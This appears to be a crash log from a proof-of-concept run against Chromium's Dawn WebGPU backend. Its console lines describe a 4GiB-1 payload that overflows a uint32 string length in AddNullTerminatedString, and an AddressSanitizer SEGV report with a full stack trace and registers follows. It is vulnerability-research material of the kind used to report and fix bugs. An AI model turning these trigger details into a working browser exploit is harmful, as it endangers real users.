[1765:1765:0404/031043.624092:INFO:CONSOLE:9] "[js] requesting WebGPU adapter...", source: http://127.0.0.1:8765/poc.html (9) [1765:1765:0404/031043.674753:INFO:CONSOLE:9] "[js] adapter: ", source: http://127.0.0.1:8765/poc.html (9) [POC] allocating 4294967295-byte marker payload (no NUL bytes) [1765:1765:0404/031043.698604:INFO:CONSOLE:9] "[js] got device", source: http://127.0.0.1:8765/poc.html (9) [1765:1765:0404/031043.698903:INFO:CONSOLE:9] "[js] inserting POC_TRIGGER_4GB marker (GPU process will inject 4GiB-1 payload)", source: http://127.0.0.1:8765/poc.html (9) [1765:1765:0404/031043.699321:INFO:CONSOLE:9] "[js] submitting command buffer (GPU process will desync inside RecordComputePass)", source: http://127.0.0.1:8765/poc.html (9) [1765:1765:0404/031043.701774:INFO:CONSOLE:9] "[js] submit returned", source: http://127.0.0.1:8765/poc.html (9) [POC] AddNullTerminatedString done: actual.length()=0xFFFFFFFF stored cmd->length=0xFFFFFFFF (uint32). cmd->length+1 in uint32 = 0x0 [0404/031050.981226:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq: No such file or directory (2) [0404/031050.981522:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq: No such file or directory (2) AddressSanitizer:DEADLYSIGNAL ================================================================= ==1797==ERROR: AddressSanitizer: SEGV on unknown address 0x55708c9fef0c (pc 0x556f92218ae6 bp 0x7ffcf0dc9310 sp 0x7ffcf0dc9140 T0) ==1797==The signal is caused by a READ memory access. #0 0x556f92218ae6 in dawn::native::vulkan::CommandBuffer::RecordComputePass(dawn::native::vulkan::CommandRecordingContext*, dawn::native::BeginComputePassCmd*, dawn::native::ComputePassResourceUsage const&) third_party/dawn/src/dawn/native/vulkan/CommandBufferVk.cpp:1361:9 #1 0x556f92214dd2 in dawn::native::vulkan::CommandBuffer::RecordCommands(dawn::native::vulkan::CommandRecordingContext*) third_party/dawn/src/dawn/native/vulkan/CommandBufferVk.cpp:1200:21 #2 0x556f9228ded3 in dawn::native::vulkan::Queue::SubmitImpl(unsigned int, dawn::native::CommandBufferBase* const*) third_party/dawn/src/dawn/native/vulkan/QueueVk.cpp:102:42 #3 0x556f91f8f708 in dawn::native::QueueBase::SubmitInternal(unsigned int, dawn::native::CommandBufferBase* const*) third_party/dawn/src/dawn/native/Queue.cpp:672:14 #4 0x556f91f8f0e0 in dawn::native::QueueBase::APISubmit(unsigned int, dawn::native::CommandBufferBase* const*) third_party/dawn/src/dawn/native/Queue.cpp:171:25 #5 0x556f91d1507a in dawn::native::NativeQueueSubmit(WGPUQueueImpl*, unsigned long, WGPUCommandBufferImpl* const*) gen/third_party/dawn/src/dawn/native/ProcTable.cpp:1410:15 #6 0x556f9187ca93 in dawn::wire::server::Server::DoQueueSubmit(WGPUQueueImpl*, unsigned long, WGPUCommandBufferImpl* const*) gen/third_party/dawn/src/dawn/wire/server/ServerDoers_autogen.cpp:668:9 #7 0x556f91892e51 in dawn::wire::server::Server::HandleCommands(char const volatile*, unsigned long) gen/third_party/dawn/src/dawn/wire/server/ServerHandlers_autogen.cpp:921:18 #8 0x556fb1c514f7 in gpu::webgpu::(anonymous namespace)::DawnWireServer::HandleCommands(char const volatile*, unsigned long) gpu/command_buffer/service/webgpu_decoder_impl.cc:155:33 #9 0x556fb1c5196d in gpu::webgpu::(anonymous namespace)::WebGPUDecoderImpl::HandleDawnCommands(unsigned int, void const volatile*) gpu/command_buffer/service/webgpu_decoder_impl.cc:2001:22 #10 0x556fb1c45862 in gpu::webgpu::(anonymous namespace)::WebGPUDecoderImpl::DoCommands(unsigned int, void const volatile*, int, int*) gpu/command_buffer/service/webgpu_decoder_impl.cc:1946:18 #11 0x556f9b015814 in gpu::CommandBufferService::Flush(int, gpu::AsyncAPIInterface*) gpu/command_buffer/service/command_buffer_service.cc:267:35 #12 0x556fb137a08b in gpu::CommandBufferStub::OnAsyncFlush(int, unsigned int, std::__Cr::vector> const&) gpu/ipc/service/command_buffer_stub.cc:504:22 #13 0x556fb13792f1 in gpu::CommandBufferStub::ExecuteDeferredRequest(gpu::mojom::DeferredCommandBufferRequestParams&, gpu::FenceSyncReleaseDelegate*) gpu/ipc/service/command_buffer_stub.cc:173:7 #14 0x556fb139c3dc in gpu::GpuChannel::ExecuteDeferredRequest(mojo::StructPtr, gpu::FenceSyncReleaseDelegate*) gpu/ipc/service/gpu_channel.cc:833:13 #15 0x556fb13aa3c7 in void base::internal::DecayedFunctorTraits, gpu::FenceSyncReleaseDelegate*), base::WeakPtr&&, mojo::StructPtr&&>::Invoke, gpu::FenceSyncReleaseDelegate*), base::WeakPtr const&, mojo::StructPtr, gpu::FenceSyncReleaseDelegate*>(void (gpu::GpuChannel::*)(mojo::StructPtr, gpu::FenceSyncReleaseDelegate*), base::WeakPtr const&, mojo::StructPtr&&, gpu::FenceSyncReleaseDelegate*&&) base/functional/bind_internal.h:740:12 #16 0x556fb13aa1a9 in base::internal::Invoker, gpu::FenceSyncReleaseDelegate*), base::WeakPtr&&, mojo::StructPtr&&>, base::internal::BindState, gpu::FenceSyncReleaseDelegate*), base::WeakPtr, mojo::StructPtr>, void (gpu::FenceSyncReleaseDelegate*)>::RunOnce(base::internal::BindStateBase*, gpu::FenceSyncReleaseDelegate*) base/functional/bind_internal.h:956:5 #17 0x556f9b058211 in void base::internal::Invoker&&, gpu::FenceSyncReleaseDelegate*>, base::internal::BindState, base::internal::UnretainedWrapper>, void ()>::RunImpl, std::__Cr::tuple>, 0ul>(base::OnceCallback&&, std::__Cr::tuple>&&, std::__Cr::integer_sequence) base/functional/callback.h:155:12 #18 0x556f9b02c957 in gpu::Scheduler::ExecuteSequence(base::IdType) base/functional/callback.h:155:12 #19 0x556f9b02a988 in gpu::Scheduler::RunNextTask() gpu/command_buffer/service/scheduler.cc:625:3 #20 0x556f9b02e571 in base::internal::Invoker, base::internal::BindState>, void ()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12 #21 0x556fa7eaa326 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12 #22 0x556fa7f219c9 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5 #23 0x556fa7f2083a in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:340:40 #24 0x556fa7d68927 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:42:55 #25 0x556fa7f230d7 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:644:12 #26 0x556fa7e24ca0 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14 #27 0x556fb3714247 in content::GpuMain(content::MainFunctionParams) content/gpu/gpu_main.cc:484:14 #28 0x556fa39c3875 in content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string, std::__Cr::allocator> const&, content::MainFunctionParams, content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:762:14 #29 0x556fa39c6728 in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:1152:10 #30 0x556fa39c0101 in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) content/app/content_main.cc:358:36 #31 0x556fa39c06fc in content::ContentMain(content::ContentMainParams) content/app/content_main.cc:371:10 #32 0x556f8fef4b39 in ChromeMain chrome/app/chrome_main.cc:191:12 #33 0x7f878342b249 (/lib/x86_64-linux-gnu/libc.so.6+0x27249) (BuildId: 6196744a316dbd57c0fd8968df1680aac482cec4) ==1797==Register values: rax = 0x0000000041414139 rbx = 0x00007ffcf0dc9140 rcx = 0x0000556f879aea28 rdx = 0x000000000000116b rdi = 0x00007b8557f85808 rsi = 0x00007b8780420400 rbp = 0x00007ffcf0dc9310 rsp = 0x00007ffcf0dc9140 r8 = 0x00007b8780420400 r9 = 0x0000000000000001 r10 = 0x00000f96f027d3f9 r11 = 0x0000000000000003 r12 = 0x00007cb7813e9fc8 r13 = 0x00007e178141c200 r14 = 0x00000f717007c000 r15 = 0x00000f96f027d3f9 AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV third_party/dawn/src/dawn/native/vulkan/CommandBufferVk.cpp:1361:9 in dawn::native::vulkan::CommandBuffer::RecordComputePass(dawn::native::vulkan::CommandRecordingContext*, dawn::native::BeginComputePassCmd*, dawn::native::ComputePassResourceUsage const&) ==1797==ADDITIONAL INFO ==1797==Note: Please include this section with the ASan report. Task trace: #0 0x556f9b02ae62 in gpu::Scheduler::RunNextTask() gpu/command_buffer/service/scheduler.cc:647:27 #1 0x556f9b025bb6 in gpu::Scheduler::TryScheduleSequence(gpu::Scheduler::Sequence*) gpu/command_buffer/service/scheduler.cc:432:29 Command line: `/proc/self/exe --type=gpu-process --disable-gpu-sandbox --no-sandbox --headless=new --ozone-platform=headless --use-angle=swiftshader-webgl --crashpad-handler-pid=1767 --enable-crash-reporter=, --noerrdialogs --user-data-dir=/tmp/chrome-poc-profile --change-stack-guard-on-fork=enable --gpu-preferences=UAAAAAAAAAAgAQAEAAAAAAAAAAAAAMAAAgAAAAIAAAAAAAAAAAAAAAYAAAADAAAAAAAAAAAAAAAYAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --disable-in-process-stack-traces --shared-files --field-trial-handle=3,i,8313254148623056252,1154250435781871889,262144 --enable-features=Vulkan --disable-features=PaintHolding --variations-seed-version --pseudonymization-salt-handle=7,i,4375710235754993976,93221820773311522,4 --trace-process-track-uuid=3190708988185955192 --enable-logging=stderr --no-first-run --ozone-platform=headless --ozone-override-screen-size=800,600` ==1797==END OF ADDITIONAL INFO ==1797==ABORTING